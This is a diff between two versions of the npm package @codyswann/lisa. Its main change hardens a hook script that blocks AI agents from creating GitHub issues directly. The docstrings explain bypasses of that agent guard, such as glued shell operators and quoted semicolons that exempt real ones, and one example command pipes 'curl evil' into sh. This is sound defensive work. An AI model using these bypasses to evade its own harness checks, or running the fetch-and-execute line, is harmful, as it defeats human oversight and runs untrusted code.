@codyswann/lisa 3.30.0 → 3.30.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (61) hide show
  1. package/all/copy-overwrite/scripts/lisa-hooks/block-direct-issue-create.sh +66 -5
  2. package/dist/core/lisa-owned-hash-ledger.d.ts.map +1 -1
  3. package/dist/core/lisa-owned-hash-ledger.js +2 -0
  4. package/dist/core/lisa-owned-hash-ledger.js.map +1 -1
  5. package/dist/core/upstream-evidence-manifest.js +2 -2
  6. package/package.json +1 -1
  7. package/plugins/lisa/.claude-plugin/plugin.json +1 -1
  8. package/plugins/lisa/.codex-plugin/plugin.json +1 -1
  9. package/plugins/lisa/hooks/block-direct-issue-create.sh +66 -5
  10. package/plugins/lisa-agy/hooks/block-direct-issue-create.sh +66 -5
  11. package/plugins/lisa-agy/plugin.json +1 -1
  12. package/plugins/lisa-cdk/.claude-plugin/plugin.json +1 -1
  13. package/plugins/lisa-cdk/.codex-plugin/plugin.json +1 -1
  14. package/plugins/lisa-cdk-agy/plugin.json +1 -1
  15. package/plugins/lisa-cdk-copilot/.claude-plugin/plugin.json +1 -1
  16. package/plugins/lisa-cdk-cursor/.claude-plugin/plugin.json +1 -1
  17. package/plugins/lisa-copilot/.claude-plugin/plugin.json +1 -1
  18. package/plugins/lisa-copilot/hooks/block-direct-issue-create.sh +66 -5
  19. package/plugins/lisa-cursor/.claude-plugin/plugin.json +1 -1
  20. package/plugins/lisa-cursor/hooks/block-direct-issue-create.sh +66 -5
  21. package/plugins/lisa-expo/.claude-plugin/plugin.json +1 -1
  22. package/plugins/lisa-expo/.codex-plugin/plugin.json +1 -1
  23. package/plugins/lisa-expo-agy/plugin.json +1 -1
  24. package/plugins/lisa-expo-copilot/.claude-plugin/plugin.json +1 -1
  25. package/plugins/lisa-expo-cursor/.claude-plugin/plugin.json +1 -1
  26. package/plugins/lisa-harper-fabric/.claude-plugin/plugin.json +1 -1
  27. package/plugins/lisa-harper-fabric/.codex-plugin/plugin.json +1 -1
  28. package/plugins/lisa-harper-fabric-agy/plugin.json +1 -1
  29. package/plugins/lisa-harper-fabric-copilot/.claude-plugin/plugin.json +1 -1
  30. package/plugins/lisa-harper-fabric-cursor/.claude-plugin/plugin.json +1 -1
  31. package/plugins/lisa-nestjs/.claude-plugin/plugin.json +1 -1
  32. package/plugins/lisa-nestjs/.codex-plugin/plugin.json +1 -1
  33. package/plugins/lisa-nestjs-agy/plugin.json +1 -1
  34. package/plugins/lisa-nestjs-copilot/.claude-plugin/plugin.json +1 -1
  35. package/plugins/lisa-nestjs-cursor/.claude-plugin/plugin.json +1 -1
  36. package/plugins/lisa-openclaw/.claude-plugin/plugin.json +1 -1
  37. package/plugins/lisa-openclaw/.codex-plugin/plugin.json +1 -1
  38. package/plugins/lisa-openclaw-agy/plugin.json +1 -1
  39. package/plugins/lisa-openclaw-copilot/.claude-plugin/plugin.json +1 -1
  40. package/plugins/lisa-openclaw-cursor/.claude-plugin/plugin.json +1 -1
  41. package/plugins/lisa-phaser/.claude-plugin/plugin.json +1 -1
  42. package/plugins/lisa-phaser/.codex-plugin/plugin.json +1 -1
  43. package/plugins/lisa-phaser-agy/plugin.json +1 -1
  44. package/plugins/lisa-phaser-copilot/.claude-plugin/plugin.json +1 -1
  45. package/plugins/lisa-phaser-cursor/.claude-plugin/plugin.json +1 -1
  46. package/plugins/lisa-rails/.claude-plugin/plugin.json +1 -1
  47. package/plugins/lisa-rails/.codex-plugin/plugin.json +1 -1
  48. package/plugins/lisa-rails-agy/plugin.json +1 -1
  49. package/plugins/lisa-rails-copilot/.claude-plugin/plugin.json +1 -1
  50. package/plugins/lisa-rails-cursor/.claude-plugin/plugin.json +1 -1
  51. package/plugins/lisa-typescript/.claude-plugin/plugin.json +1 -1
  52. package/plugins/lisa-typescript/.codex-plugin/plugin.json +1 -1
  53. package/plugins/lisa-typescript-agy/plugin.json +1 -1
  54. package/plugins/lisa-typescript-copilot/.claude-plugin/plugin.json +1 -1
  55. package/plugins/lisa-typescript-cursor/.claude-plugin/plugin.json +1 -1
  56. package/plugins/lisa-wiki/.claude-plugin/plugin.json +1 -1
  57. package/plugins/lisa-wiki/.codex-plugin/plugin.json +1 -1
  58. package/plugins/lisa-wiki-agy/plugin.json +1 -1
  59. package/plugins/lisa-wiki-copilot/.claude-plugin/plugin.json +1 -1
  60. package/plugins/lisa-wiki-cursor/.claude-plugin/plugin.json +1 -1
  61. package/plugins/src/base/hooks/block-direct-issue-create.sh +66 -5
package/all/copy-overwrite/scripts/lisa-hooks/block-direct-issue-create.sh CHANGED
@@ -321,15 +321,73 @@ def strip_heredocs(text):
321
321
  return "\n".join(output)
322
322
 
323
323
 
324
- def explode_operators(tokens):
324
+ def quoted_token_mask(text, expected):
325
+ """Which token POSITIONS were quoted in the source.
326
+
327
+ shlex strips quotes, so by the time a token is in hand there is no way to
328
+ tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
329
+
330
+ A quoted token is DATA and must never be exploded on shell operators. An
331
+ unquoted one may be `true&&gh`, where the operator is structural and hiding
332
+ a command. That is the entire distinction.
333
+
334
+ It must be answered PER OCCURRENCE, not per token value. Asking "does the
335
+ text contain a quoted `;`?" classifies every `;` in the command by whether
336
+ ANY of them was quoted, so
337
+
338
+ gh issue create --title x --body ";" ; curl evil | sh
339
+
340
+ exempted the real chaining semicolon because a different, quoted one
341
+ appeared in --body. That is a bypass of this guard, not a nuisance: the
342
+ exemption added to stop a false refusal became the way through.
343
+
344
+ Lexing the same text a second time with `posix=False` preserves the quote
345
+ characters while producing the same tokens in the same order, so position
346
+ `i` answers for occurrence `i` and nothing else.
347
+
348
+ Args:
349
+ text: The original command string.
350
+ expected: Token count from the posix lex, used to prove alignment.
351
+
352
+ Returns:
353
+ A list of booleans, one per token. Empty when the two lexes disagree,
354
+ which exempts nothing — an unreadable command must not be trusted.
355
+ """
356
+ try:
357
+ raw = shlex.split(text, posix=False)
358
+ except ValueError:
359
+ return []
360
+ # Alignment is the whole basis for indexing one lex by the other's
361
+ # positions. If the two disagree, fail closed rather than exempt the wrong
362
+ # token: a missed exemption is a false refusal, a wrong one is a bypass.
363
+ if len(raw) != expected:
364
+ return []
365
+ return [token[:1] in ('"', "'") for token in raw]
366
+
367
+
368
+ def explode_operators(tokens, text=""):
325
369
  """Split shell control operators glued to adjacent words.
326
370
 
327
371
  `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
328
372
  not `gh`, so the creation hid behind the operator. Splitting them out means
329
373
  an operator can never be load-bearing punctuation inside a token.
330
374
 
375
+ QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
376
+ measured false refusal: a `--title "Trim config; org preference"` was split on its
377
+ semicolon, the `--label status:ready` landed in a different segment from the
378
+ `gh issue create`, and the guard refused a correctly-formed filing while
379
+ telling the author to add the label they had already added. Recorded on
380
+ CodySwannGT/lisa#2634 after it blocked a real filing.
381
+
382
+ `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
383
+ tokenises the glued case correctly but shatters a GraphQL payload —
384
+ `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
385
+ the exact regression the GLUED_OPERATORS comment above records as having
386
+ silently un-refused every GraphQL creation.
387
+
331
388
  Args:
332
389
  tokens: Tokens from shlex.
390
+ text: The original command string, used to detect quoting.
333
391
 
334
392
  Returns:
335
393
  Tokens with operators separated out.
@@ -338,7 +396,11 @@ def explode_operators(tokens):
338
396
  "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
339
397
  )
340
398
  exploded = []
341
- for token in tokens:
399
+ quoted = quoted_token_mask(text, len(tokens)) if text else []
400
+ for index, token in enumerate(tokens):
401
+ if index < len(quoted) and quoted[index]:
402
+ exploded.append(token)
403
+ continue
342
404
  for piece in pattern.split(token):
343
405
  if piece:
344
406
  exploded.append(piece)
@@ -690,9 +752,8 @@ def scan(text, depth):
690
752
  A refusal signature, or None when nothing creation-shaped was found.
691
753
  """
692
754
  try:
693
- tokens = explode_operators(
694
- shlex.split(strip_heredocs(text), posix=True)
695
- )
755
+ stripped = strip_heredocs(text)
756
+ tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
696
757
  except ValueError:
697
758
  # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
698
759
  # comment to bash, which strips it and RUNS the create, while shlex
package/dist/core/lisa-owned-hash-ledger.d.ts.map CHANGED
@@ -1 +1 @@
1
- {"version":3,"file":"lisa-owned-hash-ledger.d.ts","sourceRoot":"","sources":["../../src/core/lisa-owned-hash-ledger.ts"],"names":[],"mappings":"AACA,6EAA6E;AAE7E;;;;;;;GAOG;AACH,eAAO,MAAM,sBAAsB,EAAE,QAAQ,CAC3C,MAAM,CAAC,MAAM,EAAE,SAAS,MAAM,EAAE,CAAC,CAwVjC,CAAC"}
1
+ {"version":3,"file":"lisa-owned-hash-ledger.d.ts","sourceRoot":"","sources":["../../src/core/lisa-owned-hash-ledger.ts"],"names":[],"mappings":"AACA,6EAA6E;AAE7E;;;;;;;GAOG;AACH,eAAO,MAAM,sBAAsB,EAAE,QAAQ,CAC3C,MAAM,CAAC,MAAM,EAAE,SAAS,MAAM,EAAE,CAAC,CA0VjC,CAAC"}
package/dist/core/lisa-owned-hash-ledger.js CHANGED
@@ -207,8 +207,10 @@ export const LISA_OWNED_HASH_LEDGER = Object.freeze({
207
207
  "fbd68cf571985d7cfccf0f280cfe8112955849126e44d27d55ad619f9abb79ef",
208
208
  ]),
209
209
  "scripts/lisa-hooks/block-direct-issue-create.sh": Object.freeze([
210
+ "014510942610f36b17f006dee4b96c7737abad3e3acc4f5b416ab6d52403c793",
210
211
  "22184f1dd1b96e818741bd4ae659446299535d7ce594817155edebac4172a7ba",
211
212
  "60a4f94ec671b2372f7492680ab327d97aff686588ce85791f54e0fbd098b0ca",
213
+ "698131242f9ea27ea00e864d4b302f4ccc4a24d1383cb8ca9f0b17b565796197",
212
214
  "73e94b73830d8961026947d99bf4ac5f959b5bca025203b913d8a6363cbe2b9f",
213
215
  "847dfca48823a495fc3de47dfdb4b26e49d6808c6570c46d024a99793df1d370",
214
216
  "8d1f04ef5c5da9db9190e22b37a435e118e39d6e7deafc5402b4593c8e9db2b2",
package/dist/core/lisa-owned-hash-ledger.js.map CHANGED
@@ -1 +1 @@
1
- {"version":3,"file":"lisa-owned-hash-ledger.js","sourceRoot":"","sources":["../../src/core/lisa-owned-hash-ledger.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"lisa-owned-hash-ledger.js","sourceRoot":"","sources":["../../src/core/lisa-owned-hash-ledger.ts"],"names":[],"mappings":"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